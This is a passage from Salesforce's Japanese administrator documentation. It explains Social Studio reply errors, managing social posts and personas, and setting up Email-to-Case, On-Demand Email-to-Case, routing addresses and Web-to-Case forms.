す。ユーザがあなたをフォローしたら、ダイレクト
メッセージを送信します。

同じテキストを 2 回投稿することはできません。内容
を変更し、もう一度送信してください。

Whoops! (申し訳ございません。) You already said that... (そ
の内容はもう送信済みです。) Change your message and

try again. (メッセージを変更して、再試行してくださ
い。)

140 文字以下まで内容を減らしてください。Twitter 返
信の場合、ハンドルは文字数に含まれます。

Your content is too long.(内容が長すぎます。)

Twitter 返信の内容項目は @[送信者のハンドル] メッセー
ジテキストの形式にする必要があります。
送信者のハンドルとメッセージの間にスペースが 1 つ
含まれていることを確認してください。

Twitter replies must begin with a handle. (Twitter 返信はハンド
ルで始まる必要があります。)

元のメッセージと一致するように、メッセージ種別
を変更します。

Your response message type must be compatible with the original

post's message type. (返信メッセージ種別は、元の投稿の
メッセージ種別と互換性がある必要があります。)

システム管理者が [ソーシャルメディア] 設定ページで
Social Studio ログイン情報を編集する必要があります。

Your login to Social Studio has failed. (Social Studio へのログイ
ンが失敗しました。) The username or password may be

incorrect. (ユーザ名またはパスワードが間違っている可
メモ: システム管理者が Sandbox 組織のコピーま
たは更新を行った場合、新しい ID で新規組織が能性があります。) Update your credentials or reset your

password. (ログイン情報を更新するか、パスワードをリ
セットしてください。)

作成され、Social Studio ログインが無効になりま
す。

Twitter を使用して返信を送信しようとして失敗したこ
とをケース所有者に知らせるワークフローを作成す
ることをお勧めします。

Your post did not send. (投稿が送信されませんでした。)

関連トピック:

ソーシャルカスタマーサービスへようこそ
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)
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ソーシャル投稿の管理
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

ソーシャル人格および投
稿を使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Professional Edition。

ユーザ権限

Social Studio for Salesforce
をインストールおよびリ
リースする
• 「アプリケーションの

カスタマイズ」

ソーシャル投稿は、Facebook や Twitter などのソーシャルネットワーク上の投稿を
表す Salesforce オブジェクトです。

メモ: ソーシャルカスタマーサービス設定、モデレーションおよび認証の
ページ、ケースフィードの返信アクションは、Salesforce Classicでのみ使用で
きます。

ソーシャル投稿のタブまたはオブジェクトは、Twitter や Facebook などのソーシャ
ルネットワーク上のユーザまたは企業からの投稿に関する一連の情報です。ソー
シャルネットワークに応じて、入手可能な投稿の情報は異なります。ソーシャ
ル投稿を表示および管理できます。

メモ: 受信投稿の場合、ソーシャル投稿詳細ページで [状況] 選択リスト値
を設定しても、この項目は発信投稿専用であるため、投稿には反映されま
せん。

1. [ソーシャル投稿] タブをクリックします。
2. 必要に応じて、ビューを選択します。

リストには、デフォルトで最近参照した情報が表示されます。[ビュー]を選
択するか、投稿のリストを絞り込むビューを作成します。組織でモデレー
ションが有効な場合、参照する [ケースのないソーシャル投稿] を選択し、
ケースを作成するか、投稿を無視します。ニーズに合わせてビューを作成す
ることもできます。

3. 管理するソーシャル投稿名をクリックするか、[新規ソーシャル投稿] をクリックして投稿を作成します。
ビューを選択した場合は、必要に応じて [編集] または [削除] をクリックできます。

メモ:  [ソーシャル投稿] タブでは、ソーシャルネットワークの投稿ではなく、Salesforce組織の投稿のみ
を作成、編集、および削除できます。

4. ケースのない投稿を管理するには、ケースを作成するか、無視する投稿を選択し、[ケースを作成]か[無視]

を適宜クリックします。
たとえば、「I love you guys!」という Facebook 投稿にケースは不要なため、エージェントはこの投稿を無視で
きます。
ソーシャルカスタマーサービス Starter Pack を使用している場合は、[設定] の [ソーシャルアカウント] タブで
ケースのモデレーションを有効化できます。「ソーシャルカスタマーサービスの設定」 (ページ3538)を参照
してください。Social Studio からのモデレーションを有効化する場合は、「ソーシャルカスタマーサービス
のモデレーションの有効化」 (ページ 3543)を参照してください。

5. 承認を有効にしている場合、[ソーシャル投稿] タブに [ソーシャル投稿未承認] リストビューがあり、必要
に応じて、未承認の複数の投稿をレビューし、承認または却下できます。

メモ: 承認が有効化されると、[投稿を承認] ボタンと [投稿を却下] ボタンが [ソーシャル投稿] タブに表
示されたままになります。ただし、これらのボタンは、受信投稿や承認が不要な投稿では動作しませ
ん。
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ヒント: ソーシャル投稿の未承認の承認リストから投稿を承認するときに、システムの中断、セッショ
ンタイムアウト、その他の予期しない問題により意図するソーシャルネットワークで投稿を公開でき
ない場合は、リストビューではなく個々のケースでのみエラーメッセージが表示されます。ソーシャ
ルネットワークでの応答時間に関する企業の責任を果たすため、リストビューから投稿を承認した後
で投稿の状況を調べ、投稿が正常に送信され再送信の必要がないことを確認することをお勧めしま
す。

ソーシャル投稿の詳細ページでは、次のことを実行できます。
• 投稿の内容および情報を表示、編集、および作成する。

メモ: 人格の情報を取得したソーシャルネットワークによって、情報は異なります。

[保存] をクリックして変更内容を保存するか、投稿を作成します。
• 組織でモデレーションが有効な場合、投稿のケースを作成する。または、投稿にケースが不要な場合は投

稿を無視できます。
• Salesforce 組織の投稿を削除する。

メモ: ソーシャル投稿の親レコード (通常はケース) が削除されても、ソーシャル投稿は削除されませ
ん。同様に、多態的な [投稿者] 項目経由でソーシャル投稿が取引先、取引先責任者、またはリードに
関連付けられている場合、これらのいずれかの関連レコードを削除しても、ソーシャル投稿には影響
しなくなりました。

ソーシャル投稿へは、[ソーシャル投稿] タブではなく、ケースフィードまたはリードフィードからのみ返信で
きます。

関連トピック:

ソーシャル人格の管理
ソーシャルアクションのヒント
ソーシャルカスタマーサービスへようこそ
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)

2809

ソーシャル投稿の管理顧客のサポート

http://resources.docs.salesforce.com/202/latest/en-us/sfdc/pdf/social_customer_service_impl_guide.pdf


ソーシャル人格の管理
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

ソーシャル人格および投
稿を使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Professional Edition。

ユーザ権限

Social Studio for Salesforce
をインストールおよびリ
リースする
• 「アプリケーションの

カスタマイズ」

ソーシャル人格は、Facebook や Twitter などのソーシャルネットワークでの取引先
責任者のプロファイルを表す Salesforce オブジェクトです。

メモ: ソーシャルカスタマーサービス設定、モデレーションおよび認証の
ページ、ケースフィードの返信アクションは、Salesforce Classicでのみ使用で
きます。

ソーシャル人格のタブまたはオブジェクトは、Twitter または Facebook から入手可
能なユーザまたは企業に関する一連の公開情報です。人格は、ソーシャルネッ
トワークに関連しており、1 つの取引先責任者に複数の人格を関連付けることが
できます。人格を編集または削除することはできますが、Salesforce から手動で
ソーシャル人格を作成することはできません。人格は、ソーシャルネットワー
クサイトの公開情報から作成されます。ソーシャル人格レコードは、Salesforce

の他のレコードと同じように表示および管理できます。

メモ: 多くのソーシャル人格項目は、標準またはカスタム Salesforce 制限に
よって最大文字数が設定されています。たとえば、名項目は 40 文字に制限
されています。名が 40 文字を超えるソーシャル人格が受信ソーシャル投稿
によって作成された場合、名は 40 文字目で切り捨てられます。

1. [ソーシャル人格] タブをクリックします。
2. 必要に応じて、ビューを選択します。

リストには、デフォルトで最近参照した情報が表示されます。組織内のすべてのソーシャル人格を表示す
るには、[ビュー] ドロップダウンで [すべて]を選択します。ニーズに合わせてビューを作成することもで
きます。

3. 管理するソーシャルハンドルをクリックします。
ビューを選択した場合は、必要に応じて [編集] または [削除] をクリックします。

警告: ソーシャル取引先と取引先責任者機能を使用してソーシャル人格を削除すると、関連するすべ
てのソーシャル投稿も削除されます。

ソーシャル人格の詳細ページでは、次のことを実行できます。
• そのソーシャルネットワークに関して取引先責任者の入手可能な情報を表示および編集する。

メモ: 人格の情報を取得したソーシャルネットワークによって、情報は異なります。

• 組織からソーシャル人格を削除する。
• ソーシャル投稿を作成、編集、および削除する。
• [ソースアプリケーション] 項目で、人格を作成したソーシャルネットワークを参照する。この項目は、作

成時に設定され、更新することはできません。Summer '15 リリースより前に作成されたソーシャル人格に
は、この項目はありません。
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警告: 項目レベルのセキュリティはないため、ソーシャル人格を作成、参照、編集、または削除できる
ユーザを制御することはできません。組織内のすべての人が、ソーシャル人格オブジェクトのすべての
データを表示できます。

関連トピック:

ソーシャル投稿の管理
ソーシャルアクションのヒント
ソーシャルカスタマーサービスへようこそ
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)
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カスタマーサポートツールの設定および管理

サポート管理者の皆さん、ようこそ

このドキュメントは、Service Cloud という Salesforce カスタマーサービスおよびサポート機能の設定を担当する
システム管理者を対象としています。このドキュメントは、機能の設定に関する情報をすばやく検索し、会社
のサポートの問題を解決できるように操作に基づいて編成されています。たとえば、セルフサービス Web サ
イトの設定に関する情報は、カスタマーポータルまたはChatter アンサーという機能名を含むセクションではな
く、「Web チャネルおよびソーシャルチャネルの作成」という名前のセクションにあります。ただし、機能名
またはサポートの解決策を検索するために、このドキュメントをキーワードで検索することもできます。この
ドキュメントには、機能固有の概念または概要の多くが記載されていません。それらについては、『顧客のサ
ポート』ドキュメントを参照してください。
『サポートツールの設定および管理』と『顧客のサポート』を併用すると、Salesforceの設定とカスタマーサー
ビスの提供に必要な情報を網羅できます。

顧客チャネルの設定

メールチャネルの作成

メール-to-ケース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

メール-to-ケースおよびオ
ンデマンドメール-to-ケー
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

顧客からのメールを自動的に Salesforce のケースに変換し、顧客ケースを追跡し
てすばやく解決します。
メール-to-ケースには次の 2 つのバージョンがあります。
• メール-to-ケース。ユーザのマシン上のエージェントを使用します。
• オンデマンドメール-to-ケース。SalesforceApexメールサービスを使用します。
各バージョンで異なるビジネスケースをサポートします。

オンデマンドメール-to-ケー
ス

メール-to-ケース詳細

メール通信量をネットワー
クのファイアウォールの外
側で保持し、25 MB を超える
メールは拒否します。

メール通信量をネットワー
クのファイアウォールの内
側で保持し、25 MBを超える
メールを受け付けます。

ビジネスケース:

メールをケースに変換する
には、Salesforce Apex メール

メールをケースに変換する
には、メール-to-ケースエー

設定:
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オンデマンドメール-to-ケースメール-to-ケース詳細

サービスを設定する必要があります。ジェントをローカルマシンにダウン
ロードしてインストールする必要があ
ります。

ユーザライセンス数 x 1,000、1 日あた
りの最大数 1,000,000

2,5001 日あたりのケースに変換さ
れるメールの最大数:

25 MB 未満25 MB 超ヘッダー、メッセージ、お
よび添付ファイルを含む、
メールのサイズ制限:

関連トピック:

メール-to-ケースの設定
オンデマンドメール-to-ケースの設定

メール-to-ケースの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

メール-to-ケースは、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition で使用で
きます。

ユーザ権限

メール-to-ケースを設定す
る
• 「アプリケーションの

カスタマイズ」

メール-to-ケースを有効に
する
• 「すべてのデータの編

集」

および

「アプリケーションの
カスタマイズ」

メール-to-ケースを使用すると、会社はメールによる顧客からの問い合わせにつ
いて効率的に解決および対応できます。Salesforce では、指定のメールアドレス
に顧客がメッセージを送信すると、自動的にケースが作成され、ケース項目が
自動入力されます。
メール-to-ケースでは、メール-to-ケースエージェントをダウンロードする必要が
あります。メール-to-ケースエージェントソフトウェアにより、すべてのメール
トラフィックをネットワークのファイアウォールの内側で保持して、顧客から
25 MB を超えるメールを受け付けることができます。
1. メール-to-ケースエージェントをダウンロードします。
2. ネットワークのファイアウォールの内側にエージェントをインストールしま

す。
3. メール-to-ケースを有効化して、メール-to-ケースの設定を構成します。
4. ルーティングアドレス設定を設定し、Salesforce による顧客からのメールの処

理方法をカスタマイズします。
5. 手動でメールルーティングアドレスにメールを送信してこのアドレスをテス

トし、これらのメールがルーティングアドレスの設定に基づいてケースに変
換されることを確認します。

6. 会社のサポート Web サイトに対して設定したメールアドレスを追加します。
顧客はこのメールアドレスを使用してケースをサポートチームに送信できま
す。

7. [メール] 関連リストをケースページレイアウトに追加します。
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8. 必要に応じて、メール返信時にエージェントが使用できるメールテンプレートを作成します。これらのテ
ンプレートには、返信元のメールの情報を表示する差し込み項目を入れることができます。

関連トピック:

メール-to-ケース
テキストメールテンプレートの作成
HTML メールテンプレートの作成
Visualforce メールテンプレートの作成

メール-to-ケースの有効化と設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メール-to-ケースを設定す
る
• 「アプリケーションの

カスタマイズ」

メール-to-ケースを有効に
する
• 「すべてのデータの編

集」

および

「アプリケーションの
カスタマイズ」

メール-to-ケースを有効化し、ニーズに適した設定を選択することで、受信メー
ルメッセージを会社で自動的にケースに変換するための準備をします。

メモ: メール-to-ケースを有効化して設定する前に、ローカルマシンにメー
ル-to-ケースエージェントをダウンロードしてインストールします。オンデ
マンドメール-to-ケースを使用する場合、メール-to-ケースエージェントの
ダウンロードとインストールは不要です。

1. [設定] から、[クイック検索] ボックスに「メール-to-ケース」と入力し、
[メール-to-ケース] を選択します。

2. [編集] をクリックします。
3. [メール-to-ケースの有効化] を選択します。
4. メール-to-ケース設定を定義します。
5. [保存] をクリックします。

関連トピック:

メール-to-ケース
メール-to-ケース設定
メール-to-ケースおよびオンデマンドメール-to-ケースのルーティングアドレ
スの設定
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メール-to-ケース設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メール-to-ケース設定を行い、Salesforce による受信メールの処理方法およびケー
スの作成方法をカスタマイズします。
これらの設定にアクセスするには、[設定] から [クイック検索]ボックスに「メー
ル-to-ケース」と入力し、[メール-to-ケース] を選択します。

説明メール-to-ケース設定

Salesforce が受信メールからケースを作
成できるようにします。

メール-to-ケースの有効化

既存のケースの新規メールに関する通
知をケース所有者に自動的に送信でき
ます。メール通知は、新しいメールに
応答するために ToDo をケース所有者に

ケース所有者に新規メールを通知する

割り当てます。メールに応答すると、
ToDo がクローズされます。メール通知
を無効にする場合は、必要に応じて
チェックボックスをオフにします。

受信 HTML メールの内容を表示する前
にユーザに警告します。これにより、

HTML メールの有効化

コンピュータに損害を与える可能性が
ある、潜在的に悪意のある HTML を開
くのを避けることができます。この設
定が選択されていない場合は、サポー
トエージェントのメールメッセージの
詳細ページに HTML ではなくテキスト
が表示されます。エージェントがメー
ルに返信すると、HTML 形式ではなく、
テキスト形式のメッセージがメールエ
ディタにコピーされます。

メールの件名にスレッド ID を追加しま
す。スレッド ID は、送信メールに関連

メール件名にスレッド ID を挿入

付けられた組織およびケースを識別す
る一意の数値です。この ID は、元の
メールへの返信を正しいケースに関連
付けるうえで役立ちます。

メールの本文にスレッド ID を追加しま
す。

メール本文にスレッド ID を挿入

返信の末尾 (メールスレッドの前) に
ユーザ署名を追加します。この設定が

メールスレッドの前にユーザの署名を配
置

選択されていない場合は、ユーザ署名
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説明メール-to-ケース設定

がメールスレッドの最後尾に配置されます。

一意のメール件名 ID とメール本文 ID の使用
送信メールの件名行と本文は必ずそれぞれ一意にしてください。

警告: [メール件名 ID] および [メール本文テキスト ID] が同じ場合、メール-to-ケースでは各ケースに
関連するメールの無限ループが発生します。これらの設定が選択されていない場合、最終的にメール-to-

ケースでの新規メールの受信が停止します。
メールからスレッド ID を除外するには、[メール件名にスレッド ID を挿入] および [メール本文にスレッド
ID を挿入] チェックボックスの両方をオフにします。サポートエージェントが送信ケースメールに応答する
と新しいケースが作成されます。

関連トピック:

メール-to-ケース

オンデマンドメール-to-ケースの設定

エディション

使用可能なエディション:
Salesforce Classic

オンデマンドメール-to-
ケースを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

オンデマンドメール-to-
ケースを設定する
• 「アプリケーションの

カスタマイズ」

オンデマンドメール-to-
ケースを有効にする
• 「すべてのデータの編

集」

オンデマンドメール-to-ケースにより、会社はメールによる顧客からの問い合わ
せを効率的に解決できます。Salesforceでは、指定のメールアドレスに顧客がメッ
セージを送信すると、自動的にケースが作成され、ケース項目が自動入力され
ます。オンデマンドメール-to-ケースを使用すると、顧客からの 25 MB までのメー
ルを処理できます。
メール-to-ケースとは異なり、オンデマンドメール-toケースを使用するのにエー
ジェントをダウンロードしてインストールする必要はありません。
1. 組織の [デフォルトのケース所有者] および [自動ケース所有者]を設定しま

す。
2. メール-to-ケースを有効化して、設定します。
3. オンデマンドメール-to-ケースを有効化して、設定します。
4. ルーティングアドレス設定を設定し、Salesforce による顧客からのメールの処

理方法をカスタマイズします。
5. 手動でメールルーティングアドレスにメールを送信してこのアドレスをテス

トし、これらのメールがルーティングアドレスの設定に基づいてケースに変
換されることを確認します。

6. 会社のサポート Web サイトに対して設定したメールアドレスを追加します。
顧客はこのメールアドレスを使用してケースをサポートチームに送信できま
す。

7. [メール] 関連リストをケースページレイアウトに追加します。
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8. 必要に応じて、メール返信時にエージェントが使用できるメールテンプレートを作成します。これらのテ
ンプレートには、返信元のメールの情報を表示する差し込み項目を入れることができます。

メモ: オンデマンドメール-to-ケースでは、メールテキストが自動的に 32,000 文字に短縮されます。組織で
この制限を 128,000 文字に緩和するには、Salesforce にお問い合わせください。

関連トピック:

メール-to-ケース
テキストメールテンプレートの作成
HTML メールテンプレートの作成
Visualforce メールテンプレートの作成

オンデマンドメール-to-ケースの有効化と設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

オンデマンドメール-to-
ケースは、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
およびDeveloper Edition で
使用できます。

ユーザ権限

オンデマンドメール-to-
ケースを設定する
• 「アプリケーションの

カスタマイズ」

オンデマンドメール-to-
ケースを有効にする手順
は、次のとおりです。
• 「すべてのデータの編

集」

および

「アプリケーションの
カスタマイズ」

オンデマンドメール-to-ケースでソフトウェアのダウンロードとインストールを
行わずに、受信メールを自動的にケースに変換します。

メモ: オンデマンドメール-to-ケースを有効化する前に、[デフォルトのケー
ス所有者] および [自動ケース更新ユーザ]を設定し、メール-to-ケースを有
効化し、設定します。

1. [設定] から、[クイック検索] ボックスに「メール-to-ケース」と入力し、
[メール-to-ケース] を選択します。

2. [編集] をクリックします。
3. [オンデマンドサービスの有効化] を選択します。
4. 会社が予定しているオンデマンドメール-to-ケースの使用方法に基づいて、

[メールの処理数制限超過時のアクション]設定および [送信者が許可されてい
ない時のアクション] 設定を選択します。

5. [保存] をクリックします。

関連トピック:

メール-to-ケース
オンデマンドメール-to-ケースの設定
メール-to-ケースおよびオンデマンドメール-to-ケースのルーティングアドレ
ス設定
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オンデマンドメール-to-ケースの設定

エディション

使用可能なエディション:
Salesforce Classic

オンデマンドメール-to-
ケースを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

オンデマンドメール-to-ケース設定を使用して、組織の毎日のメール処理制限を
超えているか未承認の送信者から届いた受信メールメッセージを Salesforce で処
理する方法を指定します。
次は、オンデマンドメール-to-ケースに固有の設定です。一般的なメール-to-ケー
ス設定についての詳細は、「メール-to-ケース設定」を参照してください。

説明オンデマンドメール-to-ケースの設定

組織の毎日のメール処理制限を超えた
メールに対し、オンデマンドメール-to-

ケースでは何をするのか選択します。

メールの処理数制限超過時のアクション

• メッセージを返信 — メールサービ
スは、却下の理由を説明する通知
を付けて、メッセージを送信者ま
たはオンデマンドメール-to-ケース
の[自動ケース更新ユーザ]に返しま
す。

• メッセージを破棄 — メールサービ
スは、送信者には通知せずにメッ
セージを削除します。

• メッセージを再送 — メールサービ
スは、次の 24 時間以内に処理する
ようにメッセージをキューに入れ
ます。メッセージが 24 時間以内に
処理されない場合は、メッセージ
が却下された理由を説明する通知
と共に、メッセージを送信者に返
します。

[許可する送信元]項目でオンデマンド
メール-to-ケースで使用できるメールア

送信者が許可されていない時のアクショ
ン

ドレスとドメインを制限した場合、ブ
ロックされている送信者から受け取っ
たメッセージをどうするか選択しま
す。
• メッセージを返信 — メールサービ

スは、却下の理由を説明する通知
を付けて、メッセージを送信者ま
たはオンデマンドメール-to-ケース
の[自動ケース更新ユーザ]に返しま
す。

2818

メールチャネルの作成カスタマーサポートツールの設定および管理



説明オンデマンドメール-to-ケースの設定

• メッセージを破棄 — メールサービスは、送信者に
は通知せずにメッセージを削除します。

送信メールの件名行と本文は必ずそれぞれ一意にしてください。

警告: [メール件名 ID] および [メール本文テキスト ID] が同じ場合、メール-to-ケースでは各ケースに
関連するメールの無限ループが発生します。これらの設定が選択されていない場合、最終的にメール-to-

ケースでの新規メールの受信が停止します。

関連トピック:

メール-to-ケース

メール-to-ケースおよびオンデマンドメール-to-ケースのルーティングアドレス
の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メール-to-ケースまたはオ
ンデマンドメール-to-ケー
スのルーティングアドレ
スを設定する
• 「アプリケーションの

カスタマイズ」

ルーティングアドレスを設定し、顧客のメールが正しく処理されるようにしま
す。
メール-to-ケースおよびオンデマンドメール-to-ケースのルーティングアドレスを
設定するには、メール-to-ケースを有効化して、メール-to-ケース設定を定義しま
す。
1. [設定] から、[クイック検索] ボックスに「メール-to-ケース」と入力し、

[メール-to-ケース] を選択します。
2. [ルーティングアドレス] リストで、[新規] をクリックします。
3. ルーティングアドレス設定を入力します。
4. [保存] をクリックします。

指定したルーティングメールアドレスに確認メールが送信されます。
5. 確認メール中のリンクをクリックします。

確認ページが Web ブラウザで表示されます。
6. 確認ページのリンクをクリックすると、Salesforce で処理が継続されます。
Salesforce が提供するメールサービスアドレスにケース登録を転送するように、
メールシステムを設定します。

関連トピック:

メール-to-ケース
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メール-to-ケースおよびオンデマンドメール-to-ケースのルーティングアドレス
設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

メール-to-ケースおよびオ
ンデマンドメール-to-ケー
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

メール-to-ケースおよびオンデマンドメール-to-ケースのメールルーティングアド
レスを追加および確認した後、メールルーティングアドレス設定を定義できま
す。

説明設定

「ゴールドサポート」や「ベーシック
サポート」など、ルーティングアドレ
スの名前。

ルーティング名

メール-to-ケースソースのみ: このオン
デマンドメール-to-ケースルーティング
アドレスの受信メールアドレス。この
アドレスに送信されたメールによっ
て、指定した設定を使用してケースが
作成されます。一意のメールアドレス
を指定する必要があります。
これは、会社のサポート Web サイトに
表示されるリンクに対応付けるメール
アドレスです。

メールアドレス

メール-to-ケースソースのみ: ケースと
して送信される各メールに関連付けら

メールヘッダーの保存

れたメールルーティング情報を保存す
る場合は、このチェックボックスをオ
ンにします。メールルーティング情報
の保存は、組織の全体的なディスク容
量制限の対象となります。
ケースに変換されたメールのメール
ヘッダーを参照するには、「ケース
メールとの連動」 (ページ2625)を参照し
てください。

オンデマンドメール-to-ケースを利用で
きるメールアドレスやドメインを制限

許可する送信元

するには、この項目に入力します。オ
ンデマンドメール-to-ケースですべての
メールアドレスまたはドメインからの
メールを受信するには、この項目は空
白にしておきます。

メール-to-ケースソースのみ: ケースと
してメールが送信されるときに、ケー

メールからの ToDo の作成
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説明設定

ス所有者に ToDo を自動的に割り当てる場合は、この
チェックボックスをオンにします。
所有者は、割り当てルールによって自動的にケースに
割り当てられます。ただし、ケースが割り当てルール
条件に一致しない場合、[サポート設定] ページの [デ
フォルトのケース所有者] 項目にあるユーザがケース
に割り当てられます。

メール-to-ケースソースのみ: このドロップダウンリス
トから、ケースとしてメールが送信されたときに、

ToDo の状況

ケース所有者に自動的に割り当てられる ToDo の [状
況]項目に対し、事前に定義する状況の値を選択しま
す。
この設定が可能なのは、[メールからの ToDo の作成]

チェックボックスがオンになっている場合のみです。

ケースの所有者。個人のユーザまたはキューのいずれ
かにすることができます。

ケース所有者

メモ: ルーティングアドレスの参照先になって
いるキューは削除できません。ルーティングア
ドレスを削除するか、別のキューを参照するよ
うにルーティングアドレス設定を編集します。

このメールルーティングアドレスに送信されたメール
から作成されたケースに割り当てられる優先度。

ケース優先度

このメールルーティングアドレスに送信されたメール
の [ケース発生源] 項目に割り当てられた値。

ケース発生源

メモ: 受信メールの [宛先]、CC、または BCC のいずれかの項目にルーティングアドレスが記載されてい
る場合、[優先度]項目および [ケース発生源]項目には、そのルーティングアドレス設定により、ケース
が自動入力されます。

関連トピック:

メール-to-ケース
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FAQ - メール-to-ケース

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

• スパムをケースにしないようにすることはできますか?

• [メール-to-ケース] での添付ファイルのサイズ制限はありますか?

[メール-to-ケース] での添付ファイルのサイズ制限はありますか?

オンデマンドメール-to-ケースを使用する場合、メール添付ファイルは最大 25 MB

までです。メール-to-ケースエージェントを使用する場合、添付ファイルのサイ
ズ制限はありません。

関連トピック:

FAQ - メール-to-ケース

Web チャネルおよびソーシャルチャネルの作成

Web ケース

Web-to-ケースを使用したケースの取り込み準備

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Web-to-ケースを設定する
• 「アプリケーションの

カスタマイズ」

Web-to-ケースを使用して、自社の Web サイトから顧客のサポート要求を直接収
集し、1 日あたり最大 5,000 件の新規ケースを自動的に生成します。これにより、
顧客に対する組織のレスポンスが速くなり、サポートチームの生産性が向上し
ます。
Web-to-ケースを設定する前に、次のことを実行します。
• 必要に応じてケースのカスタム項目を作成する。
• ケースの送信時に顧客に送信する自動化された通知用に、デフォルトのメー

ルテンプレートを作成する。
• 受信ケースをキューおよび個々のユーザに割り当てる場合に、ケースキュー

を作成する。
• サポート設定をカスタマイズ (ページ3174)して、ケースが割り当てルールの条

件を満たさない場合にデフォルトの所有者を選択する。
• 有効なケースの割り当てルールを作成して、Web 生成ケースをユーザに割り

当てる方法やキューに入れる方法を決定する。有効な割り当てルールを設定
しないと、[サポート設定] で指定したデフォルトの所有者にすべての Web 生
成ケースが割り当てられます。
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これで、Web-to-ケースを設定 (ページ 2823)する準備ができました。

関連トピック:

カスタム項目の作成
メールテンプレートの管理
キューの作成
割り当てルールの設定
FAQ - Web-to-ケース

Web-to-ケースの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Web-to-ケースを設定する
• 「アプリケーションの

カスタマイズ」

Web-to-ケースを使用して、自社の Web サイトから顧客のサポート要求を直接収
集し、1 日あたり最大 5,000 件の新規ケースを自動的に生成します。Web-to-ケー
スを設定するには、機能を有効化し、設定を選択し、Web サイトに [Web-to-ケー
ス] フォームを追加します。

メモ: 開始する前に、「Web-to-ケースを使用したケースの取り込み準備」
と「Web-to-ケースの注意事項と制限」を参照して、Web-to-ケースを設定す
るときの前提条件と考慮事項の詳細を確認してください。

1. [設定] から、[クイック検索]ボックスに「Web-to-ケース」と入力し、[Web-to-

ケース] を選択します。
2. [Web-to-ケースの有効化] を選択します。
3. デフォルトのケース発生源を選択します。
4. ケースが作成されたことを顧客に自動的に通知するデフォルトのレスポンス

用テンプレートを選択します。
送信された情報に応じて異なるメールテンプレートを使用するようにレスポ
ンスルールを設定している場合、デフォルトのメールテンプレートは、適用
されるレスポンスルールがないときに使用されます。レスポンスルールが適
用されないときはメールを送信しない場合、このオプションをオフのままに
します。このテンプレートは「有効」に設定する必要があります。

5. ケースの作成に失敗した場合、顧客に送信されるメールでレコード情報を非表示にするには、[レコード情
報を非表示] を選択します。

6. デフォルト以外の署名を使用するには、メールの署名を入力します。
7. [保存] をクリックします。
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Web-to-ケースを有効化して設定した後、HTML コードを生成すると、Web 管理者が Web サイトにそれを配置し、
顧客がケースを送信できるようになります。HTML コードを生成するには、「Web-to-ケース HTML コードの生成
」を参照してください。

関連トピック:

Web-to-ケース HTML コードの生成
スパムケースを防止するための reCAPTCHA の有効化
カスタマーサポートの設定
FAQ - Web-to-ケース

Web-to-ケース HTML コードの生成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Web-to-ケースを設定する
• 「アプリケーションの

カスタマイズ」

Web 管理者が会社の Web サイトに挿入する HTML コードを生成して、Web フォー
ムでケースを取得できるようにします。それらの Web ページのどこからでも、
情報が送信されるたびにケースが 1 件作成されます。
Web-to-ケースを有効にしておく必要があります。
1. [設定] から、[クイック検索] ボックスに「Web-to-ケース HTML ジェネレー

タ」と入力して、[Web-to-ケース HTML ジェネレータ] を選択します。
2. Web-to-ケースフォームに含める項目を選択するには、[追加] 矢印と [取り消

し] 矢印を使用して項目を [選択可能な項目] リストと [選択済みの項目] リスト
間で移動します。フォームに表示する項目の順序を変更するには、上下矢印
を使用します。
マルチ通貨を使用している組織で、通貨金額の項目を追加する場合は、HTML

に [ケース 通貨]項目を追加します。この項目を追加しなかった場合、すべ
ての金額はマスタ通貨で取り込まれます。ケースにレコードタイプを使用し
ている組織で、[ケースレコードタイプ]項目を選択すると、ユーザが提出し
た Web 生成のケースに対して特定のレコードタイプを選択できます。

3. 組織でセルフサービスポータルまたはカスタマーポータルを使用していて、
これらのポータルでユーザ向けに Web 生成のケースを表示する場合は、[セ
ルフサービスポータルに公開] を選択します。

4. ユーザが情報を送信した後に移動する完全 URL を指定します。たとえば、この URL を「ご利用ありがとう
ございます」ページや会社のホームページにすることが考えられます。

5. 組織でトランスレーションワークベンチを使用している場合、またはタブを名称変更した場合は、Web-to-

